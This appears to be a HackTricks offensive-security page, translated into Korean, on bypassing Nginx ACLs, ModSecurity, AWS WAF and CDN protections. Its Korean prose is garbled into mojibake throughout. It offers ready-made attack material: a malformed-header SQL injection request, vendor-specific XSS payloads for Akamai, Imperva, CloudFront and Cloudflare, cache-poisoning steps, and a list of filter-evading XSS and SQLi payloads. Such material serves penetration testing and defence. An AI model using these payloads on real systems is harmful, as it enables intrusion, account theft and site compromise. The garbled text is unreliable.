Proxy / WAF ๋ณดํ˜ธ ์šฐํšŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Nginx ACL ๊ทœ์น™์„ Pathname Manipulation์œผ๋กœ ์šฐํšŒ

๊ธฐ๋ฒ• from this research.

Nginx ๊ทœ์น™ ์˜ˆ์‹œ:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

์šฐํšŒ๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด Nginx๋Š” ํ™•์ธํ•˜๊ธฐ ์ „์— ๊ฒฝ๋กœ ์ •๊ทœํ™”๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๊ฐ€ ๋‹ค๋ฅธ ์ •๊ทœํ™”(nginx๊ฐ€ ์ œ๊ฑฐํ•˜์ง€ ์•Š๋Š” ๋ฌธ์ž๋ฅผ ์ œ๊ฑฐ)๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ฉด ์ด ๋ฐฉ์–ด๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

NodeJS - Express

Nginx ๋ฒ„์ „Node.js ์šฐํšŒ ๋ฌธ์ž
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx ๋ฒ„์ „Flask ์šฐํšŒ ๋ฌธ์ž
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx ๋ฒ„์ „Spring Boot ์šฐํšŒ ๋ฌธ์ž
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM ๊ตฌ์„ฑ:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx๋Š” /admin.php์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•˜๋„๋ก ๊ตฌ์„ฑ๋˜์–ด ์žˆ์ง€๋งŒ /admin.php/index.php์— ์ ‘๊ทผํ•˜๋ฉด ์ด๋ฅผ bypassํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฐฉ์ง€ ๋ฐฉ๋ฒ•

location ~* ^/admin {
deny all;
}

Bypass Mod Security Rules

Path Confusion

In this post ์—์„œ๋Š” ModSecurity v3 (3.0.12 ์ด์ „)์ด ์ ‘๊ทผ๋œ ๊ฒฝ๋กœ(ํŒŒ๋ผ๋ฏธํ„ฐ ์‹œ์ž‘ ์ „๊นŒ์ง€)๋ฅผ ํฌํ•จํ•ด์•ผ ํ•˜๋Š” REQUEST_FILENAME ๋ณ€์ˆ˜๋ฅผ ๋ถ€์ ์ ˆํ•˜๊ฒŒ ๊ตฌํ˜„ํ–ˆ๋‹ค๊ณ  ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๊ฒฝ๋กœ๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด URL decode๋ฅผ ์ˆ˜ํ–‰ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ http://example.com/foo%3f';alert(1);foo= ๊ฐ™์€ ์š”์ฒญ์€ ModSecurity์—์„œ๋Š” %3f๊ฐ€ ?๋กœ ๋ณ€ํ™˜๋˜์–ด ๊ฒฝ๋กœ๋ฅผ ๋‹จ์ˆœํžˆ /foo๋กœ ๊ฐ„์ฃผํ•˜์ง€๋งŒ, ์‹ค์ œ ์„œ๋ฒ„๊ฐ€ ๋ฐ›๋Š” ๊ฒฝ๋กœ๋Š” /foo%3f';alert(1);foo= ์ž…๋‹ˆ๋‹ค.

๋ณ€์ˆ˜ REQUEST_BASENAME์™€ PATH_INFO๋„ ์ด ๋ฒ„๊ทธ์˜ ์˜ํ–ฅ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค.

๋น„์Šทํ•œ ํ˜„์ƒ์ด Mod Security ๋ฒ„์ „ 2์—์„œ๋„ ๋ฐœ์ƒํ–ˆ๋Š”๋ฐ, ๋ฐฑ์—… ํŒŒ์ผ ๊ด€๋ จ ํŠน์ • ํ™•์žฅ์ž(์˜ˆ: .bak)์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•˜๋Š” ๋ณดํ˜ธ๋ฅผ ์ (.)์„ %2e๋กœ URL ์ธ์ฝ”๋”ฉํ•˜์—ฌ ์ „์†กํ•จ์œผ๋กœ์จ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: https://example.com/backup%2ebak

Bypass AWS WAF ACL

Malformed Header

This research ์—์„œ๋Š” AWS์—์„œ ์ œ๋Œ€๋กœ ํŒŒ์‹ฑํ•˜์ง€ ๋ชปํ•˜์ง€๋งŒ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„์—์„œ๋Š” ํŒŒ์‹ฑ๋˜๋Š” โ€œmalformedโ€ ํ—ค๋”๋ฅผ ์ „์†กํ•จ์œผ๋กœ์จ HTTP ํ—ค๋”์— ์ ์šฉ๋œ AWS WAF ๊ทœ์น™์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค๊ณ  ์–ธ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, header X-Query์— SQL injection์„ ํฌํ•จ์‹œ์ผœ ๋‹ค์Œ ์š”์ฒญ์„ ์ „์†กํ•˜๋ฉด:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

It was possible to bypass AWS WAF because it wouldnโ€™t understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).

์ผ๋ฐ˜์ ์ธ WAF ์šฐํšŒ ๋ฐฉ๋ฒ•

Request Size Limits

Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF wonโ€™t check the request.

Application Load Balancer์™€ AWS AppSync ๋ณดํ˜ธ์— ๋Œ€ํ•ด ๊ฒ€์‚ฌํ•  ์ˆ˜ ์žˆ๋Š” ์›น ์š”์ฒญ ๋ณธ๋ฌธ์˜ ์ตœ๋Œ€ ํฌ๊ธฐ8 KB
CloudFront, API Gateway, Amazon Cognito, App Runner, ๋ฐ Verified Access ๋ณดํ˜ธ์— ๋Œ€ํ•ด ๊ฒ€์‚ฌํ•  ์ˆ˜ ์žˆ๋Š” ์›น ์š”์ฒญ ๋ณธ๋ฌธ์˜ ์ตœ๋Œ€ ํฌ๊ธฐ**64 KB

Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than 128 KB by turning off request body inspection, but these messages wonโ€™t be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:

If prevention mode: ์š”์ฒญ์„ ๊ธฐ๋กํ•˜๊ณ  ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค.
If detection mode: ํ•œ๋„๊นŒ์ง€ ๊ฒ€์‚ฌํ•˜๊ณ  ๋‚˜๋จธ์ง€๋Š” ๋ฌด์‹œํ•˜๋ฉฐ, Content-Length๊ฐ€ ํ•œ๋„๋ฅผ ์ดˆ๊ณผํ•˜๋ฉด ๋กœ๊ทธ๋ฅผ ๋‚จ๊น๋‹ˆ๋‹ค.

๊ธฐ๋ณธ์ ์œผ๋กœ WAF๋Š” ์š”์ฒญ์˜ ์ฒ˜์Œ 8KB๋งŒ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค. Advanced Metadata๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉด ํ•œ๋„๋ฅผ ์ตœ๋Œ€ 128KB๊นŒ์ง€ ๋Š˜๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Up to 128KB.

Static assets inspection gaps (.js GETs)

Some CDN/WAF stacks apply weak or no content inspection to GET requests for static assets (for example paths ending with .js), while still applying global rules like rate limiting and IP reputation. Combined with auto-caching of static extensions, this can be abused to deliver or seed malicious variants that affect subsequent HTML responses.

Practical use cases:

  • Send payloads in untrusted headers (e.g., User-Agent) on a GET to a .js path to avoid content inspection, then immediately request the main HTML to influence the cached variant.
  • Use a fresh/clean IP; once an IP is flagged, routing changes can make the technique unreliable.
  • In Burp Repeater, use โ€œSend group in parallelโ€ (single-packet style) to race the two requests (.js then HTML) through the same front-end path.

This pairs well with header-reflection cache poisoning. See:

Cache Poisoning and Cache Deception

Obfuscation

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

์œ ๋‹ˆ์ฝ”๋“œ ํ˜ธํ™˜์„ฑ

๊ตฌํ˜„๋œ Unicode ์ •๊ทœํ™” ๋ฐฉ์‹์— ๋”ฐ๋ผ (์ž์„ธํ•œ ๋‚ด์šฉ์€ here), ์œ ๋‹ˆ์ฝ”๋“œ ํ˜ธํ™˜ ๋ฌธ์ž๋ฅผ ๊ณต์œ ํ•˜๋Š” ๋ฌธ์ž๊ฐ€ WAF๋ฅผ ์šฐํšŒํ•˜์—ฌ ์˜๋„ํ•œ payload๋กœ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ˜ธํ™˜ ๋ฌธ์ž๋Š” here์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์ œ

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
๏ผœimg srcโผp onerrorโผ๏ผ‡promptโฝ1โพ๏ผ‡๏นฅ  --> ๏ผœimg src=p onerror='prompt(1)'>

์ธ์ฝ”๋”ฉ์„ ์‚ฌ์šฉํ•ด ๋ฌธ๋งฅ ๊ธฐ๋ฐ˜ WAFs ์šฐํšŒ

์•ž์„œ this blog post์—์„œ ์–ธ๊ธ‰ํ•œ ๊ฒƒ์ฒ˜๋Ÿผ, ์‚ฌ์šฉ์ž ์ž…๋ ฅ์˜ ๋ฌธ๋งฅ์„ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ๋Š” WAF๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด WAF๊ฐ€ ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์„ ์ •์ƒํ™”(normalize)ํ•˜๋„๋ก ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ํฌ์ŠคํŠธ์—๋Š” Akamai๊ฐ€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ 10๋ฒˆ URL decodeํ–ˆ๋‹ค๊ณ  ์–ธ๊ธ‰๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ <input/%2525252525252525253e/onfocus ๊ฐ™์€ ์ž…๋ ฅ์€ Akamai์—์„œ๋Š” <input/>/onfocus๋กœ ๋ณด์ผ ์ˆ˜ ์žˆ๊ณ , WAF๋Š” ํƒœ๊ทธ๊ฐ€ ๋‹ซํ˜”๋‹ค๊ณ  ํŒ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ž…๋ ฅ์„ 10๋ฒˆ URL decodeํ•˜์ง€ ์•Š๋Š” ํ•œ, ํ”ผํ•ด์ž๋Š” <input/%25252525252525253e/onfocus ๊ฐ™์€ ๊ฒƒ์„ ๋ณด๊ฒŒ ๋˜๋ฉฐ ์ด๋Š” XSS ๊ณต๊ฒฉ์— ์—ฌ์ „ํžˆ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์ด๋Š” WAF๊ฐ€ ๋””์ฝ”๋”ฉํ•˜๊ณ  ํ•ด์„ํ•˜๋Š” ๋ฐ˜๋ฉด ํ”ผํ•ด์ž๋Š” ๋ณด์ง€ ๋ชปํ•˜๋Š” ์ธ์ฝ”๋”ฉ๋œ ๊ตฌ์„ฑ์š”์†Œ์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ˆจ๊ธธ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

๋˜ํ•œ ์ด ๋ฐฉ๋ฒ•์€ URL encoded ํŽ˜์ด๋กœ๋“œ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ unicode, hex, octal ๋“ฑ ๋‹ค๋ฅธ ์ธ์ฝ”๋”ฉ์œผ๋กœ๋„ ์ ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํฌ์ŠคํŠธ์—์„œ ์ œ์•ˆ๋œ ์ตœ์ข… ์šฐํšŒ ์˜ˆ์‹œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

๋˜ํ•œ ์ผ๋ถ€ WAF๊ฐ€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์˜ ๋ฌธ๋งฅ์„ ์–ด๋–ป๊ฒŒ ์ดํ•ดํ•˜๋А๋ƒ์— ๋”ฐ๋ผ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์ด ์–ธ๊ธ‰๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋ธ”๋กœ๊ทธ์— ์ œ์‹œ๋œ ์˜ˆ๋Š” Akamai๊ฐ€ /*์™€ */ ์‚ฌ์ด์— ๋ฌด์—‡์ด๋“  ํ—ˆ์šฉ(์•„๋งˆ๋„ ์ฃผ์„์œผ๋กœ ํ”ํžˆ ์‚ฌ์šฉ๋˜๊ธฐ ๋•Œ๋ฌธ)ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— /*'or sleep(5)-- -*/ ๊ฐ™์€ SQLinjection์ด ๋ฐœ๊ฒฌ๋˜์ง€ ์•Š๊ณ  /*๊ฐ€ ์ธ์ ์…˜์˜ ์‹œ์ž‘ ๋ฌธ์ž์—ด๋กœ, */๊ฐ€ ์ฃผ์„ ์ฒ˜๋ฆฌ๋˜์–ด ์œ ํšจํ•˜๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๋ฌธ๋งฅ ๋ฌธ์ œ๋Š” WAF๊ฐ€ ์˜ˆ์ƒํ•œ ์ทจ์•ฝ์  ์ด์™ธ์˜ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๋ฐ์—๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: XSS๋ฅผ ์•…์šฉ).

Inline JavaScript first-statement inspection gaps

์ผ๋ถ€ inline-inspection ๊ทœ์น™์…‹์€ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ๋‚ด๋ถ€์˜ ์ฒซ ๋ฒˆ์งธ JavaScript ๋ฌธ์žฅ๋งŒ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค. ๋ฌดํ•ดํ•ด ๋ณด์ด๋Š” ๊ด„ํ˜ธ ํ‘œํ˜„์‹ ๋’ค์— ์„ธ๋ฏธ์ฝœ๋ก ์„ ๋ถ™์—ฌ(prefixing) (์˜ˆ: onfocus="(history.length);payload"), ์„ธ๋ฏธ์ฝœ๋ก  ๋’ค์— ์œ„์น˜ํ•œ ์•…์˜์  ์ฝ”๋“œ๋Š” ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•˜๋ฉด์„œ ๋ธŒ๋ผ์šฐ์ €๋Š” ์—ฌ์ „ํžˆ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ fragment๋กœ ์ธํ•œ ํฌ์ปค์Šค(์˜ˆ: ๋Œ€์ƒ ์š”์†Œ๊ฐ€ ๋กœ๋“œ ์‹œ ํฌ์ปค์Šค๋˜๋„๋ก #forgot_btn ์ถ”๊ฐ€)์™€ ๊ฒฐํ•ฉํ•˜๋ฉด ํด๋ฆญ ์—†๋Š” XSS๊ฐ€ ๊ฐ€๋Šฅํ•˜๋ฉฐ ์ฆ‰์‹œ $.getScript๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ํ‚ค๋กœ๊ฑฐ ๊ฐ™์€ ํ”ผ์‹ฑ ํˆด์„ ๋ถ€ํŒ…์ŠคํŠธ๋žฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์™€ ๊ด€๋ จํ•œ ์‚ฌ๋ก€๋Š” attribute-only login XSS case study์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” this research์—์„œ ํŒŒ์ƒ๋œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค.

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

์ •๊ทœ์‹ ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์–‘ํ•œ ๊ธฐ๋ฒ•์ด ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋กœ๋Š” ๋Œ€์†Œ๋ฌธ์ž ๊ต์ฐจ ์‚ฌ์šฉ(alternating case), ์ค„๋ฐ”๊ฟˆ ์ถ”๊ฐ€, ํŽ˜์ด๋กœ๋“œ ์ธ์ฝ”๋”ฉ ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๋Ÿฌ ์šฐํšŒ ๊ธฐ๋ฒ•์— ๋Œ€ํ•œ ์ž๋ฃŒ๋Š” PayloadsAllTheThings์™€ OWASP์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜ ์˜ˆ์‹œ๋“ค์€ this article์—์„œ ๋ฐœ์ทŒํ–ˆ์Šต๋‹ˆ๋‹ค.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

๋„๊ตฌ

  • nowafpls: ์š”์ฒญ์— ๋ถˆํ•„์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ๊ธธ์ด ๊ธฐ๋ฐ˜์œผ๋กœ WAFs๋ฅผ ์šฐํšŒํ•˜๋Š” Burp plugin

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ